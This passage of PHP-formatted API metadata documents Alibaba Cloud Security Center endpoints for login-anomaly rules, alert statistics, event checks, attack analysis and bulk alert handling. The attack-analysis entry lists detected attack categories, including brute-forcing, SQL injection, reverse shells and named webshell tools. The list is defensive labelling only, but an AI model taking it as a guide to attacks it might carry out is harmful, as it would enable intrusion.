\\"AttackEvent\\": {\\n \\"TotalCount\\": 1096,\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ],\\n \\"ValueArray\\": [\\n \\"2620\\"\\n ]\\n },\\n \\"HealthCheck\\": {\\n \\"HighCount\\": 10,\\n \\"LowCount\\": 0,\\n \\"TotalCount\\": 32,\\n \\"MediumCount\\": 21,\\n \\"ValueArray\\": [\\n \\"31\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"high\\"\\n ],\\n \\"LowList\\": [\\n \\"0\\"\\n ],\\n \\"MediumList\\": [\\n \\"0\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ],\\n \\"HighList\\": [\\n \\"11\\"\\n ]\\n },\\n \\"Vulnerability\\": {\\n \\"NntfCount\\": 0,\\n \\"LaterCount\\": 275,\\n \\"TotalCount\\": 384,\\n \\"AsapCount\\": 109,\\n \\"NntfList\\": [\\n \\"0\\"\\n ],\\n \\"AsapList\\": [\\n \\"60\\"\\n ],\\n \\"ValueArray\\": [\\n \\"384\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"later\\"\\n ],\\n \\"LaterList\\": [\\n \\"275\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 124\\n 133\\n 111\\n 123\\n 135\\n 145\\n 148\\n remind\\n suspicious\\n serious\\n 552\\n 148\\n 315\\n 350\\n 336\\n 378\\n 384\\n 398\\n 404\\n 0\\n 444\\n 488\\n 447\\n 501\\n 519\\n 543\\n 552\\n 404\\n 5\\n 5\\n 0\\n 0\\n 0\\n 0\\n 0\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n high\\n low\\n medium\\n 31\\n 11\\n 11\\n 11\\n 10\\n 10\\n 10\\n 10\\n 10\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 21\\n 21\\n 21\\n 21\\n 21\\n 21\\n 21\\n 0\\n 32\\n 32\\n 32\\n 31\\n 31\\n 31\\n 31\\n 21\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n asap\\n later\\n 384\\n 60\\n 65\\n 63\\n 97\\n 103\\n 109\\n 109\\n 0\\n 0\\n 0\\n 0\\n 0\\n 275\\n 275\\n 275\\n 109\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 60\\n 65\\n 63\\n 97\\n 103\\n 384\\n 384\\n 0\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n 1096\\n 2620\\n 10405\\n 2377\\n 2411\\n 11146\\n 2057\\n 1096\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n 9C92EF15-B9F7-4DCF-BCE3-5B2B85927744\\n true\\n","errorExample":""}]', + 'title' => '查询各个安全检查项数据的统计值和安全检查项趋势图中每天的统计值', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeLoginBaseConfigs' => [ + 'summary' => '查询服务器异常登录检测规则的配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的登录配置信息的数量。默认值为**5**，表示每页显示5条登录配置信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的登录配置信息的类型。取值：'."\n" + .'- **login\\_common_location**：常用登录地。'."\n" + .'- **login\\_common_ip**：常用登录IP。'."\n" + .'- **login\\_common_time**：常用登录时间。'."\n" + .'- **login\\_common_account**：常用登录账号。', + 'type' => 'string', + 'required' => true, + 'example' => 'login_common_location', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '策略生效的资产的选择模式。此参数为JSON格式，包含以下参数：'."\n" + ."\n" + .'- **Target**：要添加或删除的服务器的UUID或服务器所在的分组ID。'."\n" + ."\n" + .'> 当参数targetType的取值为uuid时，该参数取值为服务器的UUID。当参数targetType的取值为groupId时，该参数的取值为服务器所在的分组ID。当参数targetType的取值为global时，该参数取值为中划线（-）。'."\n" + ."\n" + .'- **targetType**：生效资产的选择模式。取值：'."\n" + .' - **uuid**：按单个服务器查询。'."\n" + .' - **groupId**：按照服务器分组查询。'."\n" + .' - **global**：表示查询所有服务器。'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => '[ {"target": "inet-7c676676-06fa-442e-90fb-b802e5d6****", "targetType": "uuid" } ]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '异常登录检测规则的配置返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2C2D4B3C-0524-17B1-93D2-DA50119F4E1E', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的登录配置信息的数量。默认值为**20**，表示每页显示20条登录配置信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的登录配置信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'BaseConfigs' => [ + 'description' => '登录配置信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '登录配置信息的详情。', + 'type' => 'object', + 'properties' => [ + 'EndTime' => [ + 'description' => '常用登录时间的结束时间。', + 'type' => 'string', + 'example' => '07:00', + ], + 'Account' => [ + 'description' => '常用登录账号。', + 'type' => 'string', + 'example' => '1582318****', + ], + 'StartTime' => [ + 'description' => '常用登录时间的开始时间。', + 'type' => 'string', + 'example' => '08:00', + ], + 'Ip' => [ + 'description' => '常用登录IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'TotalCount' => [ + 'description' => '服务器的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '172', + ], + 'UuidCount' => [ + 'description' => '规则生效的服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '13', + ], + 'Location' => [ + 'description' => '常用登录地。', + 'type' => 'string', + 'example' => 'BeiJing', + ], + 'TargetList' => [ + 'description' => '规则生效的服务器的详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则生效的服务器的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Target' => [ + 'description' => '规则生效的服务器的UUID或者服务器其所在的分组ID。', + 'type' => 'string', + 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', + ], + 'TargetType' => [ + 'description' => '生效资产的选择模式。取值：'."\n" + ."\n" + .'- **uuid**：按单个资产添加。'."\n" + .'- **groupId**：按照服务器分组添加。'."\n" + .'- **global**：表示选择所有资产。'."\n", + 'type' => 'string', + 'example' => 'uuid', + ], + ], + ], + ], + 'Remark' => [ + 'description' => '对应配置备注显示的信息。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"2C2D4B3C-0524-17B1-93D2-DA50119F4E1E\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"BaseConfigs\\": [\\n {\\n \\"EndTime\\": \\"07:00\\",\\n \\"Account\\": \\"1582318****\\",\\n \\"StartTime\\": \\"08:00\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"TotalCount\\": 172,\\n \\"UuidCount\\": 13,\\n \\"Location\\": \\"BeiJing\\",\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ],\\n \\"Remark\\": \\"test\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 2C2D4B3C-0524-17B1-93D2-DA50119F4E1E\\n 20\\n 200\\n \\n 07:00\\n 1582318****\\n 08:00\\n 192.168.XX.XX\\n 172\\n 13\\n 黑山\\n \\n 0011ea53-738c-4bff-93be-ce6a1cc9****\\n uuid\\n \\n \\n","errorExample":""}]', + 'title' => '查询异常登录检测规则的配置', + ], + 'GetSuspiciousStatistics' => [ + 'summary' => '查询一个或多个资产分组下的安全告警数量统计值。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92314', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '10.12.XX.XX', + ], + ], + [ + 'name' => 'GroupIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产分组ID。多个资产分组ID使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '9997897', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'SuspiciousCount' => [ + 'description' => '告警级别为可疑的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8', + ], + 'RemindCount' => [ + 'description' => '告警级别为提醒的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '84092B42-1A59-4F34-8DF8-1D93520990A5', + ], + 'SeriousCount' => [ + 'description' => '告警级别为紧急的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '安全告警的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"SuspiciousCount\\": 8,\\n \\"RemindCount\\": 0,\\n \\"RequestId\\": \\"84092B42-1A59-4F34-8DF8-1D93520990A5\\",\\n \\"SeriousCount\\": 1,\\n \\"TotalCount\\": 9\\n}","errorExample":""},{"type":"xml","example":"\\n 9\\n 84092B42-1A59-4F34-8DF8-1D93520990A5\\n 0\\n 8\\n 1\\n","errorExample":""}]', + 'title' => '查询资产分组下的安全告警数量', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'CheckSecurityEventId' => [ + 'summary' => '验证一个或多个告警事件ID是否属于指定服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '91913', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要验证的服务器UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '96ad2473-bc60-45ba-ad1c-932e2866****', + ], + ], + [ + 'name' => 'SecurityEventIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要验证的告警事件ID。最多支持设置100个告警事件ID。该参数为空，验证结果**Data**默认为**false**（不属于）。'."\n" + .'> 调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口可以获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '要验证的告警事件ID。最多支持设置100个告警事件ID。该参数为空，验证结果**Data**默认为**false**（不属于）。'."\n" + .'> 调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '24376', + ], + 'required' => false, + 'example' => '["1234567","98765432"]', + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '告警事件ID是否属于指定服务器。取值：'."\n" + .'- **true**：属于'."\n" + .'- **false**：不属于'."\n" + ."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\n true\\n","errorExample":""}]', + 'title' => '验证一个或多个告警事件ID是否属于指定服务器', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAttackAnalysisData' => [ + 'summary' => '查询攻击分析的数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91995', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击分析的详情。取值：'."\n" + ."\n" + .'- **TOTAL**：攻击次数'."\n" + .'- **TREND**：攻击趋势'."\n" + .'- **PIE_CHART**：攻击类型分布'."\n" + .'- **SOURCE_TOP**：攻击来源TOP 5'."\n" + .'- **CLIENT_TOP**：被攻击资产TOP 5'."\n" + .'- **DETAILS**：攻击详情列表'."\n" + ."\n" + .'> 当Type取值为**DETAILS**时，分页参数为必填项。'."\n" + ."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'DETAILS', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击开始的时间戳，默认查询近7天。单位为秒。'."\n" + .'> 开始时间只能为近40天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1644027670', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击结束的时间戳，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1649040221', + ], + ], + [ + 'name' => 'Data', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击事件的筛选条件。'."\n" + .'> crack_type字段类型说明'."\n" + .'> - 3：MySQL暴力破解'."\n" + .'> - 4：FTP暴力破解'."\n" + .'> - 5：SSH暴力破解'."\n" + .'> - 6：RDP暴力破解'."\n" + .'> - 9：SQL Server暴力破解'."\n" + .'> - 101：Java Struts2攻击拦截'."\n" + .'> - 102：Redis攻击拦截'."\n" + .'> - 103：中国蚁剑WebShell通信'."\n" + .'> - 104：中国菜刀WebShell通信'."\n" + .'> - 133：XISE WebShell通信'."\n" + .'> - sqli：SQL注入'."\n" + .'> - codei：代码执行'."\n" + .'> - xss：XSS攻击'."\n" + .'> - lfi：本地文件包含'."\n" + .'> - rfi：远程文件包含'."\n" + .'> - webshell：脚本木马'."\n" + .'> - upload：上传漏洞'."\n" + .'> - path：路径遍历'."\n" + .'> - bypass：越权访问'."\n" + .'> - csrf：CSRF'."\n" + .'> - crlf：CRLF'."\n" + .'> - other：其他'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => '{"crack_type":"9"}', + ], + ], + [ + 'name' => 'Base64', + 'in' => 'query', + 'schema' => [ + 'description' => '查询结果是否需要对**client_url**进行Base64编码。取值：'."\n" + ."\n" + .'- **true**：需要'."\n" + .'- **false**：不需要', + 'type' => 'string', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。'."\n" + ."\n" + .'> 当Type取值为**DETAILS**时，该参数为必填。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的攻击事件信息的数量。'."\n" + .'> 当Type取值为**DETAILS**时，该参数为必填。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '攻击分析返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '攻击事件列表。包含以下字段：'."\n" + ."\n" + .'- **client_url** ：攻击请求URL'."\n" + .'- **internetIp**：资产实例IP'."\n" + .'- **instanceName**：资产实例名称'."\n" + .'- **table_src**：数据来源'."\n" + .'- **uuid**：资产实例的UUID'."\n" + .'- **crack_method**：攻击请求方式'."\n" + .'- **crack_hour**：攻击时间'."\n" + .'- **crack_src\\_ip**：攻击方IP'."\n" + .'- **instanceId**：实例ID'."\n" + .'- **dst_port**：被攻击端口'."\n" + .'- **client_ip**：被攻击IP'."\n" + .'- **location**：攻击方地域'."\n" + .'- **aliuid**：阿里云账号ID'."\n" + .'- **crack_cnt**：攻击次数'."\n" + .'- **crack_type**：攻击类型。取值如下：'."\n" + .' - **113**：权限不当'."\n" + .' - **112**：重定向攻击'."\n" + .' - **upload**：上传漏洞'."\n" + .' - **other**：其他'."\n" + .' - **webshell**：脚本木马'."\n" + .' - **201**：异常连接攻击'."\n" + .' - **9**：SQLSERVER暴力破解'."\n" + .' - **5**：SSH暴力破解'."\n" + .' - **6**：RDP暴力破解'."\n" + .' - **lfi**：本地文件包含'."\n" + .' - **7**：代码执行攻击'."\n" + .' - **sqli**：SQL注入'."\n" + .' - **209**：Web攻击'."\n" + .' - **31**：缓冲器溢出攻击'."\n" + .' - **3**：MYSQL暴力破解'."\n" + .' - **30**：点击劫持'."\n" + .' - **4**：FTP暴力破解'."\n" + .' - **bypass**：越权访问'."\n" + .' - **33**：格式化字符串'."\n" + .' - **deeplearning**：其他'."\n" + .' - **32**：整数溢出攻击'."\n" + .' - **203**：暴力破解'."\n" + .' - **34**：条件竞争'."\n" + .' - **rfi**：远程文件包含'."\n" + .' - **0**：SQL注入攻击'."\n" + .' - **212**：挖矿行为'."\n" + .' - **213**：反弹Shell攻击'."\n" + .' - **211**：蠕虫病毒请求'."\n" + .' - **61**：超时攻击'."\n" + .' - **20**：路径穿越攻击'."\n" + .' - **xss**：XSS攻击'."\n" + .' - **22**：越权访问攻击'."\n" + .' - **21**：扫描攻击'."\n" + .' - **24**：文件修改攻击'."\n" + .' - **26**：文件删除攻击'."\n" + .' - **25**：文件读取攻击'."\n" + .' - **28**：CRLF注入攻击'."\n" + .' - **27**：逻辑错误'."\n" + .' - **29**：模板注入攻击'."\n" + .' - **csrf**：CSRF'."\n" + .' - **path**：路径遍历'."\n" + .' - **crlf**：CRLF'."\n" + .' - **102**：CSRF跨站请求伪造攻击'."\n" + .' - **103**：SSRF服务器端请求伪造攻击'."\n" + .' - **101**：XSS跨站脚本攻击'."\n" + .' - **11**：文件包含攻击'."\n" + .' - **10**：文件上传攻击'."\n" + .' - **12**：上传漏洞'."\n" + .' - **15**：未授权访问'."\n" + .' - **14**：信息泄露攻击'."\n" + .' - **17**：XML实体注入攻击'."\n" + .' - **16**：不安全的配置'."\n" + .' - **19**：LDAP注入攻击'."\n" + .' - **18**：XPath注入攻击'."\n" + .' - **codei**：代码执行'."\n" + .' - **ai_webshell**：WebShell上传智能防御'."\n" + .' - **alinet_webrce**：自适应Web攻击防御'."\n" + .' - **210**：JSP WebShell上传'."\n" + .' - **161**：WebShell上传', + 'type' => 'string', + 'example' => '[{\\"crack_hour\\":1662480000000,\\"crack_cnt\\":471},{\\"crack_hour\\":1662483600000,\\"crack_cnt\\":461},{\\"crack_hour\\":1662487200000,\\"crack_cnt\\":445},{\\"crack_hour\\":1662490800000,\\"crack_cnt\\":471},{\\"crack_hour\\":1662494400000,\\"crack_cnt\\":534},{\\"crack_hour\\":1662498000000,\\"crack_cnt\\":652},{\\"crack_hour\\":1662501600000,\\"crack_cnt\\":706},{\\"crack_hour\\":1662505200000,\\"crack_cnt\\":613},{\\"crack_hour\\":1662508800000,\\"crack_cnt\\":578},{\\"crack_hour\\":1662512400000,\\"crack_cnt\\":577},{\\"crack_hour\\":1662516000000,\\"crack_cnt\\":616},{\\"crack_hour\\":1662519600000,\\"crack_cnt\\":597},{\\"crack_hour\\":1662523200000,\\"crack_cnt\\":575},{\\"crack_hour\\":1662526800000,\\"crack_cnt\\":507}]', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的攻击事件信息的数量。默认值为10，表示每页显示10条攻击事件信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4C1AE3F3-18FA-4108-BBB9-AFA1A032756C', + ], + 'Total' => [ + 'description' => '查询到的已发生的攻击事件的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1000', + ], + 'Page' => [ + 'description' => '当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + [ + 'errorCode' => 'UserInstanceVersionNotSupportAttackAnalysisData', + 'errorMessage' => 'Attack analysis data is not supported for the instance version.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"[{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662480000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":471},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662483600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":461},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662487200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":445},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662490800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":471},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662494400000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":534},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662498000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":652},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662501600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":706},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662505200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":613},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662508800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":578},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662512400000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":577},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662516000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":616},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662519600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":597},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662523200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":575},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662526800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":507}]\\",\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BBB9-AFA1A032756C\\",\\n \\"Total\\": 1000,\\n \\"Page\\": 1\\n}","type":"json"}]', + 'title' => '查询攻击分析的数据', + ], + 'HandleSimilarSecurityEvents' => [ + 'summary' => '批量处理基于相同IP规则或类型的告警事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92317', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '批量处理所有相同类型告警事件的任务的ID。'."\n" + .'>调用[CreateSimilarSecurityEventsQueryTask](~~CreateSimilarSecurityEventsQueryTask~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '666038', + ], + ], + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'description' => '批量处理同类告警事件的操作类型。'."\n" + .'>调用[DescribeSecurityEventOperations](~~DescribeSecurityEventOperations~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'offline_handled', + ], + ], + [ + 'name' => 'OperationParams', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件处理方式子操作的配置。该值为JSON格式。'."\n" + ."\n" + .'> **OperationCode**值为**kill\\_and\\_quara**、**block\\_ip**、**virus\\_quara**此参数必填外，**OperationCode**为其他值的情况下，该参数值可为空。'."\n" + ."\n" + .'> **OperationCode**为**block_ip**时包含以下字段：'."\n" + .'> - **expireTime**：锁定截至时间。单位：毫秒'."\n" + .'>'."\n" + .'> **OperationCode**为**kill\\_and\\_quara**时包含以下字段：'."\n" + .'> - **subOperation**：查杀方式。取值如下'."\n" + .'> - **killAndQuaraFileByMd5andPath**：结束进程并隔离文件'."\n" + .'> - **killByMd5andPath**：结束该运行进程'."\n" + .'>'."\n" + .'> **OperationCode**为**virus\\_quara**时包含以下字段：'."\n" + .'> - **subOperation**：查杀方式。取值如下'."\n" + .'> - **quaraFileByMd5andPath**：隔离该进程的源文件', + 'type' => 'string', + 'required' => false, + 'example' => '{"expireTime":1646208726195}', + ], + ], + [ + 'name' => 'MarkMissParam', + 'in' => 'query', + 'schema' => [ + 'description' => '设置加白名单的规则。例如要针对文件MD5进行加白，加白规则是文件中包含字符串a，则该加白的参数就是{"field":"md5","operate":"contains","fieldValue":"aa"}。', + 'type' => 'string', + 'required' => false, + 'example' => '{"field":"md5","operate":"contains","fieldValue":"aa"}', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '操作的备注信息。', + 'type' => 'string', + 'required' => 